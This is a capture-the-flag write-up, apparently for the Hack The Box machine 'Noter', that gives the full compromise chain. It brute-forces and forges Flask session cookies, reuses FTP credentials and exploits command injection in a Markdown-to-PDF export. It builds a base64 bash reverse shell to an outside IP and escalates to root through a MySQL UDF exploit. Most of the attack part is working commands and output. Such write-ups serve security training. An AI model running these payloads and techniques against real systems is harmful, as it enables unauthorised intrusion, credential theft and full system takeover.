Noter
10 minutes to read
- OS: Linux
- Difficulty: Medium
- IP Address: 10.10.11.160
- Release: 07 / 05 / 2022
Port scanning
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.160 -p 21,22,5000
Nmap scan report for 10.10.11.160
Host is up (0.052s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c6:53:c6:2a:e9:28:90:50:4d:0c:8d:64:88:e0:08:4d (RSA)
| 256 5f:12:58:5f:49:7d:f3:6c:bd:9b:25:49:ba:09:cc:43 (ECDSA)
|_ 256 f1:6b:00:16:f7:88:ab:00:ce:96:af:a6:7e:b5:a8:39 (ED25519)
5000/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Noter
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 11.47 seconds
This machine has ports 21 (FTP), 22 (SSH) and 5000 (HTTP) open.
Web enumeration
If we go to http://10.10.11.160:5000
, we have this website:
The first thing we can to is register a new account as rocky
:
And then log in:
Now we have access to our personal dashboard:
It seems that there is a VIP subscription, but it is disabled:
We can also add a new note:
Here we can try common vulnerabilities like Server-Side Template Injection (SSTI) or Cross-Site Scripting (XSS). In fact, the tool that handles the notes is CKEditor:
This version of CKEditor (4.6.2) has a vulnerability of XSS (more information at snyk.io). Nevertheless, there is no one reading our notes, so the XSS won’t be useful for exploitation.
At this point, we can try to obtain the back-end technology. The Server
header is Werkzeug/2.0.2 Python/3.8.10
, which means that the back-end tehnology is probably Flask. Moreover, we have a session cookie that is common in Flask, and the HTTP response message is in capital letters (302 FOUND
):
$ curl 10.10.11.160:5000/dashboard -I
HTTP/1.0 302 FOUND
Content-Type: text/html; charset=utf-8
Content-Length: 218
Location: http://10.10.11.160:5000/login
Vary: Cookie
Set-Cookie: session=eyJfZmxhc2hlcyI6W3siIHQiOlsiZGFuZ2VyIiwiVW5hdXRob3JpemVkLCBQbGVhc2UgbG9naW4iXX1dfQ.YtMgNg.FAhOFDdpcAg905AbEook1WRrB4U; HttpOnly; Path=/
Server: Werkzeug/2.0.2 Python/3.8.10
Date: Sat, 16 Jul 2022 20:31:50 GMT
We can take our own session cookie and decode it using flask-unsign
:
$ flask-unsign --decode --cookie eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoicm9ja3kifQ.YtMW3Q.11eEHt1GC3R0gKwJCFYa5euDte8
{'logged_in': True, 'username': 'rocky'}
This tool is able to perform a brute force attack in order to extract the secret key used to sign cookies:
$ flask-unsign --unsign --cookie eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoicm9ja3kifQ.YtMW3Q.11eEHt1GC3R0gKwJCFYa5euDte8
[*] Session decodes to: {'logged_in': True, 'username': 'rocky'}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[*] Attempted (2048): -----BEGIN PRIVATE KEY-----***
[+] Found secret key after 17408 attemptsQtX/puoAECjC
'secret123'
There it is (secret123
). At this point, we can forge session cookies. However, we don’t know any valid user. If we try common ones like admin
or administrator
, they are invalid:
$ flask-unsign --sign --cookie "{'logged_in': True, 'username': 'admin'}" --secret secret123
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYWRtaW4ifQ.YtMdfA.W2r5MJWyB2eQCgY4oCYC8GEv0g0
$ flask-unsign --sign --cookie "{'logged_in': True, 'username': 'administrator'}" --secret secret123
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYWRtaW5pc3RyYXRvciJ9.YtMdkw.XbITVqjTiqkQdmH50xODDdubJg0
One way of enumerating users is forge session cookies using a wordlist and then use ffuf
to check each cookie:
$ for name in $(cat $WORDLISTS/names.txt); do flask-unsign --sign --cookie "{'logged_in': True, 'username': '$name'}" --secret secret123; done > sessions.txt
$ ffuf -w sessions.txt -u http://10.10.11.160:5000/dashboard -H 'Cookie: session=FUZZ' -mc 200
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.YtMfew._xogDzgiDE-mwbolv2fbRKt28NI [Status: 200, Size: 2444, Words: 565, Lines: 83, Duration: 90ms]
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoicm9ja3kifQ.YtMi1A.42ax8lWMfqrz4CVh9oKkhuqB6eU [Status: 200, Size: 3230, Words: 807, Lines: 109, Duration: 143ms]
Alright, let’s see what users are these:
$ flask-unsign --decode --cookie eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.YtMfew._xogDzgiDE-mwbolv2fbRKt28NI
{'logged_in': True, 'username': 'blue'}
$ flask-unsign --decode --cookie eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoicm9ja3kifQ.YtMi1A.42ax8lWMfqrz4CVh9oKkhuqB6eU
{'logged_in': True, 'username': 'rocky'}
Well, rocky
is my user (it appears in the wordlist). If we use the session cookie for blue
we see a different dashboard (a VIP one):
This are blue
’s notes:
The first one is pretty interesting because we can get a password (blue@Noter!
) and another username (ftp_admin
):
The second note is not so interesting:
We can try to forge a session cookie for ftp_admin
, but it does not work.
As a VIP member, we can import notes in Markdown (we can try different extensions like .txt
, .html
until we find out that .md
is valid):
And we can also export notes from Markdown to PDF:
FTP enumeration
At this point, we can enumerate the FTP server. We can access using credentials blue:blue@Noter!
:
$ ftp blue@10.10.11.160
Connected to 10.10.11.160.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 1002 1002 4096 May 02 23:05 files
-rw-r--r-- 1 1002 1002 12569 Dec 24 2021 policy.pdf
226 Directory send OK.
ftp> get policy.pdf
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for policy.pdf (12569 bytes).
WARNING! 286 bare linefeeds received in ASCII mode
File may not have transferred correctly.
226 Transfer complete.
12569 bytes received in 0,0374 seconds (329 kbytes/s)
ftp> cd files
250 Directory successfully changed.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
The only thing we have is a PDF file called policy.pdf
. Although ASCII mode is enabled (not binary mode), the PDF file is correct. In this file, we can see an interesting sentence:
Default user-password generated by the application is in the format of “username@site_name!” (This applies to all your applications)
The password for blue
matches with the above rule. Let’s check if it matches for ftp_admin
as well. In the website it does not work, but we can access FTP with the default credentials:
$ ftp ftp_admin@10.10.11.160
Connected to 10.10.11.160.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 1003 1003 25559 Nov 01 2021 app_backup_1635803546.zip
-rw-r--r-- 1 1003 1003 26298 Dec 01 2021 app_backup_1638395546.zip
226 Directory send OK.
ftp> get app_backup_1638395546.zip
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for app_backup_1638395546.zip (26298 bytes).
WARNING! 100 bare linefeeds received in ASCII mode
File may not have transferred correctly.
226 Transfer complete.
26298 bytes received in 0,102 seconds (252 kbytes/s)
Here we will have a problem because the ZIP files we found will be corrupt (as a result of ASCII mode in FTP):
$ unzip -l app_backup_1638395546.zip
Archive: app_backup_1638395546.zip
error [app_backup_1638395546.zip]: missing 3 bytes in zipfile
(attempting to process anyway)
error [app_backup_1638395546.zip]: start of central directory not found;
zipfile corrupt.
(please check that you have transferred or created the zipfile in the
appropriate BINARY mode and that you have compiled UnZip properly)
One way of getting them nice is using curl
:
$ curl ftp://'ftp_admin:ftp_admin%40Noter!'@10.10.11.160/
-rw-r--r-- 1 1003 1003 25559 Nov 01 2021 app_backup_1635803546.zip
-rw-r--r-- 1 1003 1003 26298 Dec 01 2021 app_backup_1638395546.zip
So we can download them:
$ curl ftp://'ftp_admin:ftp_admin%40Noter!'@10.10.11.160/app_backup_1635803546.zip -so app_backup_1635803546.zip
$ curl ftp://'ftp_admin:ftp_admin%40Noter!'@10.10.11.160/app_backup_1638395546.zip -so app_backup_1638395546.zip
Both ZIP archives appear to contain the same files:
$ unzip -l app_backup_1638395546.zip
Archive: app_backup_1638395546.zip
Length Date Time Name
--------- ---------- ----- ----
13507 12-26-2021 22:49 app.py
0 12-26-2021 22:45 misc/
0 12-26-2021 17:10 misc/attachments/
46832 12-25-2021 13:09 misc/package-lock.json
0 12-25-2021 13:09 misc/node_modules/
169 12-26-2021 22:45 misc/md-to-pdf.js
0 12-21-2021 14:15 templates/
0 12-17-2021 14:51 templates/includes/
393 12-15-2021 22:07 templates/includes/_messages.html
1229 12-23-2021 11:54 templates/includes/_navbar.html
238 12-15-2021 22:07 templates/includes/_formhelpers.html
503 12-19-2021 20:25 templates/import_note.html
246 12-18-2021 16:44 templates/upgrade.html
816 12-21-2021 20:47 templates/export_note.html
393 12-21-2021 14:15 templates/note.html
537 12-15-2021 22:07 templates/about.html
755 12-15-2021 22:07 templates/register.html
943 12-23-2021 11:54 templates/dashboard.html
242 12-17-2021 14:56 templates/notes.html
525 12-23-2021 15:03 templates/home.html
641 12-23-2021 14:57 templates/layout.html
466 12-16-2021 19:29 templates/add_note.html
467 12-17-2021 14:55 templates/edit_note.html
1036 12-21-2021 16:16 templates/vip_dashboard.html
521 12-17-2021 22:32 templates/login.html
--------- -------
70459 25 files
But if we check differences, we see that the app.py
is different (they hace differenc CRC values):
$ diff <(unzip -v app_backup_1638395546.zip) <(unzip -v app_backup_1635803546.zip)
1c1
< Archive: app_backup_1638395546.zip
---
> Archive: app_backup_1635803546.zip
4c4
< 13507 Defl:N 3138 77% 12-26-2021 22:49 f64d2c7c app.py
---
> 9178 Defl:N 2399 74% 12-26-2021 22:48 5c7d6fd3 app.py
30c30
< 70459 22018 69% 25 files
---
> 66130 21279 68% 25 files
Static code analysis
The interesting lines of code of app_backup_1635803546/app.py
are some database credentials:
#!/usr/bin/python3
# imports
app = Flask(__name__)
# Config MySQL
app.config['MYSQL_HOST'] = 'localhost'
app.config['MYSQL_USER'] = 'root'
app.config['MYSQL_PASSWORD'] = 'Nildogg36'
app.config['MYSQL_DB'] = 'app'
app.config['MYSQL_CURSORCLASS'] = 'DictCursor'
# init MySQL
mysql = MySQL(app)
# ...
In app_backup_1635803546/app.py
these credentials are different, but don’t appear to be correct. Moreover, we have the code used to export notes from Markdown to PDF:
@app.route('/export_note_local/<string:id>', methods=['GET'])
@is_logged_in
def export_note_local(id):
if check_VIP(session['username']):
cur = mysql.connection.cursor()
result = cur.execute("SELECT * FROM notes WHERE id = %s and author = %s", (id,session['username']))
if result > 0:
note = cur.fetchone()
rand_int = random.randint(1,10000)
command = f"node misc/md-to-pdf.js $'{note['body']}' {rand_int}"
subprocess.run(command, shell=True, executable="/bin/bash")
return send_file(attachment_dir + str(rand_int) +'.pdf', as_attachment=True)
else:
return render_template('dashboard.html')
else:
abort(403)
Foothold on the machine
Here we have a command injection vulnerability, because we can exit from the single quotes and inject a system command:
subprocess.run(command, shell=True, executable="/bin/bash")
Just like this:
$ python3 -q
>>> body = "'; whoami; echo '"
>>> command = f"node misc/md-to-pdf.js $'{body}' {1337}"
>>> command
"node misc/md-to-pdf.js $''; whoami; echo '' 1337"
So we can get a reverse shell on the machine.
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
This is the payload we need to enter in a note:
'; echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash; echo '
Then we export it as PDF and we get the connection back in nc
:
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.160.
Ncat: Connection from 10.10.11.160:60110.
bash: cannot set terminal process group (257434): Inappropriate ioctl for device
bash: no job control in this shell
svc@noter:~/app/web$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
svc@noter:~/app/web$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
svc@noter:~/app/web$ export TERM=xterm
svc@noter:~/app/web$ export SHELL=bash
svc@noter:~/app/web$ stty rows 50 columns 158
At this point, we can get the user.txt
flag:
svc@noter:~/app/web$ cd
svc@noter:~$ cat user.txt
92d9fa6e5b473e1696d8ce38214a5dc6
System enumeration
Basic enumeration only shows that there is a backup.sh
script in /opt
:
svc@noter:~$ ls -la /opt
total 12
drwxr-xr-x 2 root root 4096 May 2 23:05 .
drwxr-xr-x 19 root root 4096 May 2 23:05 ..
-rwxr--r-- 1 root root 137 Dec 30 2021 backup.sh
svc@noter:~$ cat /opt/backup.sh
#!/bin/bash
zip -r `echo /home/svc/ftp/admin/app_backup_$(date +%s).zip` /home/svc/app/web/* -x /home/svc/app/web/misc/node_modules/**\*
But it does not seem to be run by other user.
If we use linpeas.sh
, we can see that MySQL is configured to run as root
:
╔══════════╣ Searching mysql credentials and exec
From '/etc/mysql/mariadb.conf.d/50-server.cnf' Mysql user: user = root
Found readable /etc/mysql/my.cnf
[client-server]
!includedir /etc/mysql/conf.d/
!includedir /etc/mysql/mariadb.conf.d/
This is an issue because we can execute commands as root
using User Defined Functions (UDF). This blog post shows the necessary files and steps to complete the exploit. We will need this C program.
Privilege escalation
We only need to follow the steps of the blog post.
First, we download and compile the exploit as stated:
svc@noter:~$ cd /tmp
svc@noter:/tmp$ wget -q 10.10.17.44/raptor_udf2.c
svc@noter:/tmp$ gcc -g -c raptor_udf2.c
svc@noter:/tmp$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
To access MySQL we can use the credentials found in app.py
. Then, we can continue with exploitation to set /bin/bash
to be a SUID binary:
svc@noter:/tmp$ mysql --user=root --password=Nildogg36
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 12759
Server version: 10.3.32-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show variables like '%plugin%';
+-----------------+---------------------------------------------+
| Variable_name | Value |
+-----------------+---------------------------------------------+
| plugin_dir | /usr/lib/x86_64-linux-gnu/mariadb19/plugin/ |
| plugin_maturity | gamma |
+-----------------+---------------------------------------------+
2 rows in set (0.001 sec)
MariaDB [(none)]> show variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
1 row in set (0.001 sec)
MariaDB [(none)]> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [mysql]> create table foo(line blob);
Query OK, 0 rows affected (0.005 sec)
MariaDB [mysql]> insert into foo values(load_file('/tmp/raptor_udf2.so'));
Query OK, 1 row affected (0.002 sec)
MariaDB [mysql]> select * from foo into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so';
Query OK, 1 row affected (0.001 sec)
MariaDB [mysql]> create function do_system returns integer soname 'raptor_udf2.so';
Query OK, 0 rows affected (0.001 sec)
MariaDB [mysql]> select * from mysql.func;
+-----------+-----+----------------+----------+
| name | ret | dl | type |
+-----------+-----+----------------+----------+
| do_system | 2 | raptor_udf2.so | function |
+-----------+-----+----------------+----------+
1 row in set (0.000 sec)
MariaDB [mysql]> select do_system('chmod 4755 /bin/bash');
+-----------------------------------+
| do_system('chmod 4755 /bin/bash') |
+-----------------------------------+
| 0 |
+-----------------------------------+
1 row in set (0.003 sec)
MariaDB [mysql]> exit
Bye
And now /bin/bash
is SUID:
svc@noter:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Jun 18 2020 /bin/bash
So we can run Bash as root
:
svc@noter:/tmp$ bash -p
bash-5.0# cat /root/root.txt
55410fc79784d12a27222bcce0528f14